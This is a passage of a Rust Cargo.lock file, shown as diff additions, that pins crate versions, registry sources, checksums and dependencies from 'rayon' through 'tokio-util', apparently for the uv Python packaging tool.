"0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "rayon" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7237101a77a10773db45d62004a272517633fbcc3df19d96455ede1122e051" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-core" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" +dependencies = [ + "crossbeam-deque", + "crossbeam-utils", +] + +[[package]] +name = "rctree" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b42e27ef78c35d3998403c1d26f3efd9e135d3e5121b0a4845cc5cc27547f4f" + +[[package]] +name = "redox_syscall" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_syscall" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_users" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" +dependencies = [ + "getrandom", + "libredox", + "thiserror", +] + +[[package]] +name = "reflink-copy" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "767be24c0da52e7448d495b8d162506a9aa125426651d547d545d6c2b4b65b62" +dependencies = [ + "cfg-if", + "rustix", + "windows", +] + +[[package]] +name = "regex" +version = "1.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.5", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "rend" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71fe3824f5629716b1589be05dacd749f6aa084c87e00e016714a8cdfccc997c" +dependencies = [ + "bytecheck", +] + +[[package]] +name = "requirements-txt" +version = "0.0.1" +dependencies = [ + "anyhow", + "assert_fs", + "fs-err", + "indoc", + "insta", + "itertools 0.12.1", + "once_cell", + "pep440_rs", + "pep508_rs", + "regex", + "serde", + "serde_json", + "tempfile", + "test-case", + "thiserror", + "tracing", + "unscanny", + "url", + "uv-fs", + "uv-normalize", + "uv-warnings", +] + +[[package]] +name = "reqwest" +version = "0.11.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6920094eb85afde5e4a138be3f2de8bbdf28000f0029e72c45025a56b042251" +dependencies = [ + "async-compression", + "base64 0.21.7", + "bytes", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-rustls", + "ipnet", + "js-sys", + "log", + "mime", + "mime_guess", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls", + "rustls-native-certs", + "rustls-pemfile", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "system-configuration", + "tokio", + "tokio-rustls", + "tokio-util", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "wasm-streams", + "web-sys", + "winreg", +] + +[[package]] +name = "reqwest-middleware" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88a3e86aa6053e59030e7ce2d2a3b258dd08fc2d337d52f73f6cb480f5858690" +dependencies = [ + "anyhow", + "async-trait", + "http", + "reqwest", + "serde", + "task-local-extensions", + "thiserror", +] + +[[package]] +name = "reqwest-retry" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9af20b65c2ee9746cc575acb6bd28a05ffc0d15e25c992a8f4462d8686aacb4f" +dependencies = [ + "anyhow", + "async-trait", + "chrono", + "futures", + "getrandom", + "http", + "hyper", + "parking_lot", + "reqwest", + "reqwest-middleware", + "retry-policies", + "task-local-extensions", + "tokio", + "tracing", + "wasm-timer", +] + +[[package]] +name = "resvg" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76888219c0881e22b0ceab06fddcfe83163cd81642bd60c7842387f9c968a72e" +dependencies = [ + "gif", + "jpeg-decoder", + "log", + "pico-args", + "png", + "rgb", + "svgfilters", + "svgtypes 0.10.0", + "tiny-skia", + "usvg", + "usvg-text-layout", +] + +[[package]] +name = "retry-policies" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17dd00bff1d737c40dbcd47d4375281bf4c17933f9eef0a185fc7bacca23ecbd" +dependencies = [ + "anyhow", + "chrono", + "rand", +] + +[[package]] +name = "rgb" +version = "0.8.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05aaa8004b64fd573fc9d002f4e632d51ad4f026c2b5ba95fcb6c2f32c2c47d8" +dependencies = [ + "bytemuck", +] + +[[package]] +name = "ring" +version = "0.17.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "688c63d65483050968b2a8937f7995f443e27041a0f7700aa59b0822aedebb74" +dependencies = [ + "cc", + "getrandom", + "libc", + "spin", + "untrusted", + "windows-sys 0.48.0", +] + +[[package]] +name = "rkyv" +version = "0.7.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cba464629b3394fc4dbc6f940ff8f5b4ff5c7aef40f29166fd4ad12acbc99c0" +dependencies = [ + "bitvec", + "bytecheck", + "bytes", + "hashbrown 0.12.3", + "ptr_meta", + "rend", + "rkyv_derive", + "seahash", + "tinyvec", + "uuid", +] + +[[package]] +name = "rkyv_derive" +version = "0.7.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7dddfff8de25e6f62b9d64e6e432bf1c6736c57d20323e15ee10435fbda7c65" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "rmp" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f9860a6cc38ed1da53456442089b4dfa35e7cedaa326df63017af88385e6b20" +dependencies = [ + "byteorder", + "num-traits", + "paste", +] + +[[package]] +name = "rmp-serde" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bffea85eea980d8a74453e5d02a8d93028f3c34725de143085a844ebe953258a" +dependencies = [ + "byteorder", + "rmp", + "serde", +] + +[[package]] +name = "rosvgtree" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdc23d1ace03d6b8153c7d16f0708cd80b61ee8e80304954803354e67e40d150" +dependencies = [ + "log", + "roxmltree 0.18.1", + "simplecss", + "siphasher", + "svgtypes 0.9.0", +] + +[[package]] +name = "roxmltree" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "862340e351ce1b271a378ec53f304a5558f7db87f3769dc655a8f6ecbb68b302" +dependencies = [ + "xmlparser", +] + +[[package]] +name = "roxmltree" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cd14fd5e3b777a7422cca79358c57a8f6e3a703d9ac187448d0daf220c2407f" + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustix" +version = "0.38.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" +dependencies = [ + "bitflags 2.4.2", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustls" +version = "0.21.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d5a6813c0759e4609cd494e8e725babae6a2ca7b62a5536a13daaec6fcb7ba" +dependencies = [ + "log", + "ring", + "rustls-webpki", + "sct", +] + +[[package]] +name = "rustls-native-certs" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9aace74cb666635c918e9c12bc0d348266037aa8eb599b5cba565709a8dff00" +dependencies = [ + "openssl-probe", + "rustls-pemfile", + "schannel", + "security-framework", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +dependencies = [ + "base64 0.21.7", +] + +[[package]] +name = "rustls-webpki" +version = "0.101.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" +dependencies = [ + "ring", + "untrusted", +] + +[[package]] +name = "rustybuzz" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162bdf42e261bee271b3957691018634488084ef577dddeb6420a9684cab2a6a" +dependencies = [ + "bitflags 1.3.2", + "bytemuck", + "smallvec", + "ttf-parser", + "unicode-bidi-mirroring", + "unicode-ccc", + "unicode-general-category", + "unicode-script", +] + +[[package]] +name = "ryu" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" + +[[package]] +name = "safemem" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef703b7cb59335eae2eb93ceb664c0eb7ea6bf567079d843e09420219668e072" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schannel" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "scroll" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ab8598aa408498679922eff7fa985c25d58a90771bd6be794434c5277eab1a6" +dependencies = [ + "scroll_derive", +] + +[[package]] +name = "scroll_derive" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f81c2fde025af7e69b1d1420531c8a8811ca898919db177141a85313b1cb932" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "sct" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" +dependencies = [ + "ring", + "untrusted", +] + +[[package]] +name = "seahash" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c107b6f4780854c8b126e228ea8869f4d7b71260f962fefb57b996b8959ba6b" + +[[package]] +name = "security-framework" +version = "2.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "serde" +version = "1.0.197" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.197" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serde_json" +version = "1.0.114" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_spanned" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shell-escape" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45bb67a18fa91266cc7807181f62f9178a6873bfad7dc788c42e6430db40184f" + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "simdutf8" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f27f6278552951f1f2b8cf9da965d10969b2efdea95a6ec47987ab46edfe263a" + +[[package]] +name = "similar" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32fea41aca09ee824cc9724996433064c89f7777e60762749a4170a14abbfa21" + +[[package]] +name = "simplecss" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a11be7c62927d9427e9f40f3444d5499d868648e2edbc4e2116de69e7ec0e89d" +dependencies = [ + "log", +] + +[[package]] +name = "siphasher" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" + +[[package]] +name = "smawk" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c388c1b5e93756d0c740965c41e8822f866621d41acbdf6336a6a168f8840c" + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" + +[[package]] +name = "strict-num" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6637bab7722d379c8b41ba849228d680cc12d0a45ba1fa2b48f2a30577a06731" +dependencies = [ + "float-cmp", +] + +[[package]] +name = "strsim" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01" + +[[package]] +name = "subtle" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc" + +[[package]] +name = "supports-color" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9829b314621dfc575df4e409e79f9d6a66a3bd707ab73f23cb4aa3a854ac854f" +dependencies = [ + "is_ci", +] + +[[package]] +name = "supports-hyperlinks" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c0a1e5168041f5f3ff68ff7d95dcb9c8749df29f6e7e89ada40dd4c9de404ee" + +[[package]] +name = "supports-unicode" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7401a30af6cb5818bb64852270bb722533397edcfc7344954a38f420819ece2" + +[[package]] +name = "svg" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2198f991cd549041203080de947415bae45220eab7253c220b87e3188d19f21a" + +[[package]] +name = "svgfilters" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "639abcebc15fdc2df179f37d6f5463d660c1c79cd552c12343a4600827a04bce" +dependencies = [ + "float-cmp", + "rgb", +] + +[[package]] +name = "svgtypes" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9ee29c1407a5b18ccfe5f6ac82ac11bab3b14407e09c209a6c1a32098b19734" +dependencies = [ + "kurbo 0.8.3", + "siphasher", +] + +[[package]] +name = "svgtypes" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "98ffacedcdcf1da6579c907279b4f3c5492fbce99fbbf227f5ed270a589c2765" +dependencies = [ + "kurbo 0.9.5", + "siphasher", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "tagu" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddb6b06d20fba9ed21fca3d696ee1b6e870bca0bcf9fa2971f6ae2436de576a" + +[[package]] +name = "tap" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" + +[[package]] +name = "target-lexicon" +version = "0.12.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1fc403891a21bcfb7c37834ba66a547a8f402146eba7265b5a6d88059c9ff2f" + +[[package]] +name = "task-local-extensions" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba323866e5d033818e3240feeb9f7db2c4296674e4d9e16b97b7bf8f490434e8" +dependencies = [ + "pin-utils", +] + +[[package]] +name = "tempfile" +version = "3.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67" +dependencies = [ + "cfg-if", + "fastrand", + "rustix", + "windows-sys 0.52.0", +] + +[[package]] +name = "terminal_size" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7" +dependencies = [ + "rustix", + "windows-sys 0.48.0", +] + +[[package]] +name = "termtree" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3369f5ac52d5eb6ab48c6b4ffdc8efbcad6b89c765749064ba298f2c68a16a76" + +[[package]] +name = "test-case" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb2550dd13afcd286853192af8601920d959b14c401fcece38071d53bf0768a8" +dependencies = [ + "test-case-macros", +] + +[[package]] +name = "test-case-core" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "adcb7fd841cd518e279be3d5a3eb0636409487998a4aff22f3de87b81e88384f" +dependencies = [ + "cfg-if", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "test-case-macros" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c89e72a01ed4c579669add59014b9a524d609c0c88c6a585ce37485879f6ffb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", + "test-case-core", +] + +[[package]] +name = "testing_logger" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d92b727cb45d33ae956f7f46b966b25f1bc712092aeef9dba5ac798fc89f720" +dependencies = [ + "log", +] + +[[package]] +name = "textwrap" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23d434d3f8967a09480fb04132ebe0a3e088c173e6d0ee7897abbdf4eab0f8b9" +dependencies = [ + "smawk", + "unicode-linebreak", + "unicode-width", +] + +[[package]] +name = "thiserror" +version = "1.0.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "thread_local" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "tikv-jemalloc-sys" +version = "0.5.4+5.3.0-patched" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9402443cb8fd499b6f327e40565234ff34dbda27460c5b47db0db77443dd85d1" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "tikv-jemallocator" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "965fe0c26be5c56c94e38ba547249074803efd52adfb66de62107d95aab3eaca" +dependencies = [ + "libc", + "tikv-jemalloc-sys", +] + +[[package]] +name = "time" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8248b6521bb14bc45b4067159b9b6ad792e2d6d754d6c41fb50e29fefe38749" +dependencies = [ + "deranged", + "itoa", + "num-conv", + "powerfmt", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "time-macros" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ba3a3ef41e6672a2f0f001392bb5dcd3ff0a9992d618ca761a11c3121547774" +dependencies = [ + "num-conv", + "time-core", +] + +[[package]] +name = "tiny-skia" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df8493a203431061e901613751931f047d1971337153f96d0e5e363d6dbf6a67" +dependencies = [ + "arrayref", + "arrayvec", + "bytemuck", + "cfg-if", + "png", + "tiny-skia-path", +] + +[[package]] +name = "tiny-skia-path" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "adbfb5d3f3dd57a0e11d12f4f13d4ebbbc1b5c15b7ab0a156d030b21da5f677c" +dependencies = [ + "arrayref", + "bytemuck", + "strict-num", +] + +[[package]] +name = "tinytemplate" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be4d6b5f19ff7664e8c98d03e2139cb510db9b0a60b55f8e8709b689d939b6bc" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tl" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b130bd8a58c163224b44e217b4239ca7b927d82bf6cc2fea1fc561d15056e3f7" + +[[package]] +name = "tokio" +version = "1.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "num_cpus", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-macros" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "tokio-rustls" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-stream" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", + "tokio-util", +] + +[[package]] +name = "tokio-tar" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d5714c010ca3e5c27114c1cdeb9d14641ace49874aa5626d7149e47aedace75" +dependencies = [ + "filetime", + "futures-core", + "libc", + "redox_syscall 0.3.5", + "tokio", + "tokio-stream", + "xattr", +] + +[[package]] +name = "tokio-util" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" +dependencies = [ + "bytes", + "futures-core", + "futures-io", + "futures-sink", + 